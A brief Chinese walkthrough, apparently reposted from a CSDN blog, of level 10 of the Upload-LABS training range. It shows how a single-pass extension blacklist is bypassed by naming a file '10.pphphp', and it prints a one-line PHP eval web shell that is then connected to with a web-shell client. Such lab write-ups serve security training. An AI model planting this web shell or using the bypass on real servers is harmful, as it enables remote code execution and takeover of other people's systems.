Upload LABS Pass-10

第十关在后端使用了黑名单 , 将匹配到的后缀名替换为空,使文件不能使用 , 但其只过滤了一遍 , 我们可以使用双写后缀名的方式绕过黑名单

准备一个 10.pphphp 文件 , 内容为一句话木马

<?php eval($_POST[-7]);?>
 

上传 10.pphphp 文件

 后端黑名单中包含 'php' , 会将php替换为空 , 但只替换一次 , 替换后的文件名为 10.php , 仍然可以正常使用

右键 复制图片链接地址 , 并使用菜刀链接

 链接成功

文章来源: blog.csdn.net，作者：士别三日wyx，版权归原作者所有，如需转载，请联系作者。

原文链接：blog.csdn.net/wangyuxiang946/article/details/118436258